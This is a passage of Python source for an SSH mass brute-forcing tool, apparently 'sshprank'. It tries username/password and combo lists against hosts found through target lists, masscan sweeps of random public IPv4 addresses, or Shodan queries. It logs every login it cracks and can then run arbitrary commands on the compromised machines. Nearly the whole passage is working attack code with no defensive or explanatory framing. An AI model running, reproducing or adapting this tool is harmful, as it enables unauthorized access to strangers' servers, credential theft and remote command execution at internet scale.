stdout.readlines()\n    el = stderr.readlines()\n  except Exception as err:\n    if opts['verbose']:\n      log(f\"ssh command failed: '{cmd}' ({str(err)})\", 'warn')\n    return\n  if rl:\n    log(f\"ssh command result for: '{cmd}'\", 'good', pre_esc='\\n')\n    for out in rl:\n      log(f'{out}')\n  if el:\n    log(f\"ssh command stderr for: '{cmd}'\", 'warn', pre_esc='\\n')\n    for err in el:\n      log(f'{err}')\n\n  return\n\n\ndef crack_login(host, port, username, password):\n  global excluded, excluded_hosts\n\n  cli = paramiko.SSHClient()\n  cli.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n  try:\n    if host not in excluded_hosts and port not in excluded[host]:\n      cli.connect(host, port, username, password, timeout=opts['ctimeout'],\n        allow_agent=False, look_for_keys=False, auth_timeout=opts['ctimeout'])\n      try:\n        chan = cli.get_transport().open_session(timeout=opts['ctimeout'])\n        chan.close()\n      except Exception as err:\n        if opts['verbose']:\n          log(f'fake login: {host}:{port} (no channel: {str(err)})', 'warn')\n        return\n      if opts['exclude']:\n        with _exclude_lock:\n          if host in excluded_hosts:\n            return\n          excluded_hosts.add(host)\n      login = f'{host}:{port}:{username}:{password}'\n      log_targets(f'{login}\\n', opts['logfile'])\n      if opts['verbose']:\n        log(f'found login: {login}', _type='good')\n      else:\n        log(f'found a login (check {opts[\"logfile\"]})', _type='good')\n      if opts['cmd']:\n        if os.path.isfile(opts['cmd']):\n          log(f\"sending ssh commands from {opts['cmd']}\", 'info')\n          with open(opts['cmd'], 'r', encoding='latin-1') as _file:\n            for cmd in _file:\n              cmd = cmd.rstrip()\n              if not cmd:\n                continue\n              _run_remote_cmd(cli, cmd)\n        else:\n          log('sending your single ssh command line', 'info')\n          _run_remote_cmd(cli, opts['cmd'].rstrip())\n      if opts['exit']:\n        global _progress_running\n        _progress_running = False\n        _save_and_log_session(interrupted=True)\n        log('game over', 'info')\n        _cleanup_temp_files()\n        os._exit(SUCCESS)\n      return SUCCESS\n  except paramiko.AuthenticationException as err:\n    if 'publickey' in str(err):\n      excluded[host].add(port)\n    if opts['verbose']:\n      if 'publickey' in str(err):\n        reason = 'pubkey auth'\n      elif 'Authentication failed' in str(err):\n        reason = 'auth failed'\n      elif 'Authentication timeout' in str(err):\n        reason = 'auth timeout'\n      else:\n        reason = 'unknown'\n      log(f'login failure: {host}:{port} ({reason})', 'warn')\n  except (paramiko.ssh_exception.NoValidConnectionsError, socket.error):\n    if opts['verbose']:\n      log(f'could not connect: {host}:{port}', 'warn')\n    excluded[host].add(port)\n  except paramiko.SSHException as err:\n    if opts['verbose']:\n      log(f'ssh error: {host}:{port} ({str(err)})', 'warn')\n  except Exception as err:\n    if opts['verbose']:\n      log(f'other error: {host}:{port} ({str(err)})', 'warn')\n  finally:\n    try:\n      cli.close()\n    except OSError:\n      pass\n    _progress_inc_done()\n\n  return\n\n\ndef _creds_per_port():\n  has_list = 'userlist' in opts or 'passlist' in opts or 'combolist' in opts\n  c = 0 if has_list else 1\n\n  if 'userlist' in opts and 'passlist' in opts:\n    c += len(opts['userlist']) * len(opts['passlist'])\n  elif 'userlist' in opts:\n    c += len(opts['userlist'])\n  elif 'passlist' in opts:\n    c += len(opts['passlist'])\n  if 'combolist' in opts:\n    c += len(opts['combolist'])\n\n  return c\n\n\ndef crack_port(host, port):\n  with _submitted_lock:\n    start_i = _submitted.get(host, {}).get(port, 0)\n  if start_i > 0:\n    _progress_inc_done(start_i)\n\n  with ThreadPoolExecutor(opts['lthreads']) as exe:\n    futures = set()\n    max_pending = opts['lthreads'] * 4\n    i = 0\n\n    def submit(u, p):\n      nonlocal futures, i\n      i += 1\n      if i <= start_i:\n        return\n      with _submitted_lock:\n        _submitted.setdefault(host, {})[port] = i\n      if len(futures) >= max_pending:\n        _, futures = wait(futures, return_when=FIRST_COMPLETED)\n      futures.add(exe.submit(crack_login, host, port, u, p))\n\n    has_list = 'userlist' in opts or 'passlist' in opts or 'combolist' in opts\n    if not has_list:\n      submit(opts['user'], opts['pass'])\n\n    if 'userlist' in opts and 'passlist' in opts:\n      for u in opts['userlist']:\n        for p in opts['passlist']:\n          submit(u.rstrip(), p.rstrip())\n\n    if 'userlist' in opts and 'passlist' not in opts:\n      for u in opts['userlist']:\n        submit(u.rstrip(), opts['pass'])\n\n    if 'passlist' in opts and 'userlist' not in opts:\n      for p in opts['passlist']:\n        submit(opts['user'], p.rstrip())\n\n    if 'combolist' in opts:\n      for line in opts['combolist']:\n        l = line.split(':', 1)\n        submit(l[0].rstrip(), l[1].rstrip())\n\n  return\n\n\ndef run_threads(host, ports):\n  excluded.setdefault(host, set())\n\n  with ThreadPoolExecutor(opts['sthreads']) as e:\n    for port in ports:\n      e.submit(crack_port, host, port)\n\n  return\n\n\ndef gen_ipv4addr():\n  try:\n    ip = ipaddress.ip_address('.'.join(str(\n      random.randint(0, 255)) for _ in range(4)))\n    if not ip.is_loopback and not ip.is_private and not ip.is_multicast:\n      return str(ip)\n  except ValueError:\n    pass\n\n  return\n\n\ndef shuffle_targets():\n  try:\n    with open(opts['targetlist'], 'r', encoding='latin-1') as f:\n      lines = f.readlines()\n    random.shuffle(lines)\n    shuffled = 'random_targets.txt'\n    with open(shuffled, 'w', encoding='latin-1') as f:\n      f.writelines(lines)\n    opts['targetlist'] = shuffled\n    log(f'shuffled {len(lines)} targets -> {shuffled}', 'info')\n  except (FileNotFoundError, PermissionError) as err:\n    log(f'{err.args[1].lower()}: {opts[\"targetlist\"]}', 'error')\n\n  return\n\n\ndef crack_rand_brute():\n  try:\n    with open(opts['targetlist'], 'r', encoding='latin-1') as f:\n      hosts = [line.rstrip() for line in f if line.strip()]\n  except (FileNotFoundError, PermissionError) as err:\n    log(f'{err.args[1].lower()}: {opts[\"targetlist\"]}', 'error')\n    return\n\n  users = opts.get('userlist', [opts['user']])\n  passwords = opts.get('passlist', [opts['pass']])\n  combos = opts.get('combolist', [])\n  count = opts['randbrute']\n\n  global _progress_unbounded\n  if count > 0:\n    _progress_inc_total(count)\n  else:\n    _progress_unbounded = True\n\n  with ThreadPoolExecutor(opts['hthreads']) as exe:\n    futures = set()\n    max_pending = opts['hthreads'] * 4\n    i = 0\n    while count == 0 or i < count:\n      target = random.choice(hosts)\n      parsed = parse_target(target)\n      host = list(parsed.keys())[0]\n      port = random.choice(parsed[host])\n      if combos:\n        parts = random.choice(combos).split(':', 1)\n        user = parts[0].rstrip()\n        passwd = parts[1].rstrip()\n      else:\n        user = random.choice(users).rstrip()\n        passwd = random.choice(passwords).rstrip()\n      excluded.setdefault(host, set())\n      if len(futures) >= max_pending:\n        _, futures = wait(futures, return_when=FIRST_COMPLETED)\n      futures.add(exe.submit(crack_login, host, port, user, passwd))\n      i += 1\n\n  return\n\n\ndef crack_single():\n  host, ports = list(opts['targets'].copy().items())[0]\n  if not host:\n    log('empty host - check your -h argument', 'error')\n  _progress_inc_total(len(ports) * _creds_per_port())\n  run_threads(host, ports)\n\n  return\n\n\ndef crack_multi():\n  try:\n    creds = _creds_per_port()\n    with open(opts['targetlist'], 'r', encoding='latin-1') as f:\n      with ThreadPoolExecutor(opts['hthreads']) as exe:\n        futures = set()\n        max_pending = opts['hthreads'] * 4\n        for line in f:\n          line = line.strip()\n          if not line:\n            continue\n          if ':' in line:\n            host, p = line.split(':', 1)\n            host = host.strip()\n            ports = [pp.rstrip() for pp in p.split(',')]\n          else:\n            host = line\n            ports = ['22']\n          if not host:\n            continue\n          _progress_inc_total(len(ports) * creds)\n          if len(futures) >= max_pending:\n            _, futures = wait(futures, return_when=FIRST_COMPLETED)\n          futures.add(exe.submit(run_threads, host, ports))\n  except (FileNotFoundError, PermissionError) as err:\n    log(f\"{err.args[1].lower()}: {opts['targetlist']}\", 'error')\n\n  return\n\n\ndef crack_random():\n  ptargets = []\n\n  for _ in range(opts['random']):\n    ptargets.append(gen_ipv4addr())\n  ptargets = [x for x in ptargets if x is not None]\n\n  opts['masscan_opts'] += ' ' + ' '.join(ptargets)\n\n  return\n\n\ndef crack_scan():\n  with ThreadPoolExecutor(1) as e:\n    future = e.submit(portscan)\n    status(future, 'scanning sshds', pre_esc='\\r')\n  log('\\n')\n  targets = grep_service(future.result())\n  num_targets = len(targets)\n\n  if num_targets > 0:\n    opts['targetlist'] = 'sshds.txt'\n    log_targets(targets, opts['targetlist'])\n    log(f'found {num_targets} active sshds', 'good')\n    crack_multi()\n  else:\n    log('no sshds found :(', _type='warn')\n\n  return\n\n\ndef check_banners():\n  try:\n    with open(opts['targetlist'], 'r', encoding='latin-1') as fh:\n      with ThreadPoolExecutor(opts['bthreads']) as exe:\n        futures = set()\n        max_pending = opts['bthreads'] * 4\n        for line in fh:\n          line = line.strip()\n          if not line:\n            continue\n          target = parse_target(line)\n          host = ''.join([*target])\n          if not host:\n            continue\n          ports = target.get(host)\n          for port in ports:\n            if len(futures) >= max_pending:\n              _, futures = wait(futures, return_when=FIRST_COMPLETED)\n            futures.add(exe.submit(grab_banner, host, port))\n  except (FileNotFoundError, PermissionError) as err:\n    log(f\"{err.args[1].lower()}: {opts['targetlist']}\", 'error')\n\n  return\n\n\ndef check_pwauth(host, port):\n  sock = None\n  t = None\n  try:\n    sock = socket.create_connection(\n      (host, int(port)), timeout=opts['ctimeout']\n    )\n    t = paramiko.Transport(sock)\n    sec = t.get_security_options()\n    try:\n      sec.kex = list(_pt.Transport._preferred_kex)\n      sec.ciphers = list(_pt._ENCRYPT.keys())\n      sec.digests = list(_pt._MAC_INFO.keys())\n    except Exception:\n      pass\n    t.start_client(timeout=opts['ctimeout'])\n    t.auth_password('__sshprank_probe__', os.urandom(8).hex())\n    log(f'{host}:{port}:pwauth=yes\\n')\n    if opts['verbose']:\n      log(f'pwauth enabled: {host}:{port}', 'good')\n  except paramiko.BadAuthenticationType as err:\n    allowed = ','.join(err.allowed_types)\n    log(f'{host}:{port}:pwauth=no ({allowed})\\n')\n    if opts['verbose']:\n      log(f'pwauth disabled: {host}:{port} ({allowed})', 'warn')\n  except paramiko.AuthenticationException:\n    log(f'{host}:{port}:pwauth=yes\\n')\n    if opts['verbose']:\n      log(f'pwauth enabled: {host}:{port}', 'good')\n  except (paramiko.ssh_exception.NoValidConnectionsError,\n      socket.error):\n    if opts['verbose']:\n      log(f'could not connect: {host}:{port}', 'warn')\n  except paramiko.SSHException as err:\n    if opts['verbose']:\n      log(f'ssh error: {host}:{port} ({str(err)})', 'warn')\n  except Exception as err:\n    if opts['verbose']:\n      log(f'other error: {host}:{port} ({str(err)})', 'warn')\n  finally:\n    if t:\n      try:\n        t.close()\n      except OSError:\n        pass\n    if sock:\n      try:\n        sock.close()\n      except OSError:\n        pass\n\n  return\n\n\ndef check_pwauths():\n  try:\n    with open(opts['targetlist'], 'r', encoding='latin-1') as fh:\n      with ThreadPoolExecutor(opts['bthreads']) as exe:\n        futures = set()\n        max_pending = opts['bthreads'] * 4\n        for line in fh:\n          line = line.strip()\n          if not line:\n            continue\n          target = parse_target(line)\n          host = ''.join([*target])\n          if not host:\n            continue\n          ports = target.get(host)\n          for port in ports:\n            if len(futures) >= max_pending:\n              _, futures = wait(futures, return_when=FIRST_COMPLETED)\n            futures.add(exe.submit(check_pwauth, host, port))\n  except (FileNotFoundError, PermissionError) as err:\n    log(f\"{err.args[1].lower()}: {opts['targetlist']}\", 'error')\n\n  return\n\n\ndef crack_shodan(targets):\n  log(f'w00t w00t, found {len(targets)} sshds', 'good')\n  log('cracking shodan targets', 'info')\n  opts['targetlist'] = 'sshds.txt'\n  log_targets(targets, opts['targetlist'])\n  log(f'saved found sshds to {opts[\"targetlist\"]}', 'info')\n  log('cracking found targets', 'info')\n  crack_multi()\n\n  return\n\n\ndef shodan_search():\n  s = opts['sho_opts'].split(';')\n  if len(s) != 3:\n    log('format wrong, check usage and examples', 'error')\n  opts['sho_str'] = s[0]\n  opts['sho_page'] = int(s[1])\n  opts['sho_lim'] = int(s[2])\n\n  try:\n    api = shodan.Shodan(opts['sho_key'])\n    res = api.search(opts['sho_str'], opts['sho_page'], opts['sho_lim'])\n    for r in res.get('matches', []):\n      ip = r.get('ip_str')\n      port = r.get('port')\n      if not ip or not port:\n        continue\n      banner = (r.get('data') or '').split('\\n')[0]\n      if opts['verbose']:\n        log(f'found sshd: {ip}:{port}:{banner}', 'good', esc='\\n')\n      stargets.append(f'{ip}:{port}:{banner}\\n')\n  except shodan.APIError as e:\n    log(f'shodan error: {str(e)}', 'error')\n\n  return\n\n\ndef is_root():\n  if os.geteuid() == 0:\n    return True\n\n  return False\n\n\ndef main(cmdline):\n  sys.stderr.write(BANNER + '\\n\\n')\n  check_argc(cmdline)\n  parse_cmdline(cmdline)\n  check_argv(cmdline)\n\n  if opts['sshver']:\n    v = opts['sshver']\n    if v.startswith('SSH-'):\n      parts = v.split('-', 2)\n      if len(parts) == 3:\n        v = parts[2]\n    paramiko.Transport._CLIENT_ID = v\n\n  log('game started', 'info')\n\n  if opts['session']:\n    sess = _load_session(opts['session'])\n    if sess:\n      _apply_session(sess)\n      log(f'restored session from {opts[\"session\"]}', 'info')\n\n  global _progress_running\n  prog_thread = None\n  if not opts['verbose']:\n    _progress_running = True\n    prog_thread = threading.Thread(target=_progress_loop, daemon=True)\n    prog_thread.start()\n\n  interrupted = False\n  try:\n    if '-p' in cmdline:\n      log('checking password auth', 'info', esc='\\n')\n      if not opts['targetlist'] and opts['targets']:\n        host, ports = list(opts['targets'].copy().items())[0]\n        for port in ports:\n          check_pwauth(host, port)\n      else:\n        check_pwauths()\n    elif '-b' in cmdline:\n      log('grabbing banners', 'info', esc='\\n')\n      if not opts['targetlist'] and opts['targets']:\n        host, ports = list(opts['targets'].copy().items())[0]\n        for port in ports:\n          grab_banner(host, port)\n      else:\n        check_banners()\n    elif '-m' in cmdline:\n      if is_root():\n        if '-r' in cmdline:\n          log('scanning and cracking random targets', 'info')\n          crack_random()\n          crack_scan()\n        else:\n          log('scanning and cracking targets', 'info')\n          crack_scan()\n      else:\n        log('get r00t for this option', 'error')\n    elif '-s' in cmdline:\n      with ThreadPoolExecutor(1) as e:\n        future = e.submit(shodan_search)\n        status(future, 'searching for sshds via shodan\\r')\n      log('\\n')\n      if len(stargets) > 0:\n        crack_shodan(stargets)\n      else:\n        log('no sshds found :(', 'info')\n    elif not opts['targetlist'] and opts['targets']:\n      log('cracking single target', 'info')\n      crack_single()\n    elif opts['targetlist']:\n      if opts['shuffle']:\n        shuffle_targets()\n      if opts['randbrute'] is not None:\n        label = 'infinite' if opts['randbrute'] == 0 else str(opts['randbrute'])\n        log(f'random brute mode ({label} attempts)', 'info')\n        crack_rand_brute()\n      else:\n        crack_multi()\n  except KeyboardInterrupt:\n    interrupted = True\n    _progress_running = False\n    log('you aborted me', _type='warn', pre_esc='\\r  \\r')\n  finally:\n    signal.signal(signal.SIGINT, signal.SIG_IGN)\n    signal.signal(signal.SIGTERM, signal.SIG_IGN)\n    _progress_running = False\n    if prog_thread:\n      prog_thread.join(timeout=1)\n    _save_and_log_session(interrupted)\n    log('game over', 'info')\n    _cleanup_temp_files()\n    os._exit(SUCCESS)\n\n  return\n\n\ndef _silence_close_ebadf(args):\n  if args.exc_type is OSError and \\\n      getattr(args.exc_value, 'errno', None) == errno.EBADF:\n    return\n  threading.__excepthook__(args)\n\n  return\n\n\ndef _sigterm_handler(signum, frame):\n  raise KeyboardInterrupt\n\n  return\n\n\nif __name__ == '__main__':\n  logger = logging.getLogger()\n  logger.disabled = True\n  logger.setLevel(100)\n  logger.propagate = False\n  logging.disable(logging.ERROR)\n  logging.disable(logging.FATAL)\n  logging.disable(logging.CRITICAL)\n  logging.disable(logging.DEBUG)\n  logging.disable(logging.WARNING)\n  logging.disable(logging.INFO)\n  if not sys.warnoptions:\n    warnings.simplefilter('ignore')\n  threading.excepthook = _silence_close_ebadf\n  signal.signal(signal.SIGTERM, _sigterm_handler)\n\n  main(sys.argv[1:])\n\n"
  }
]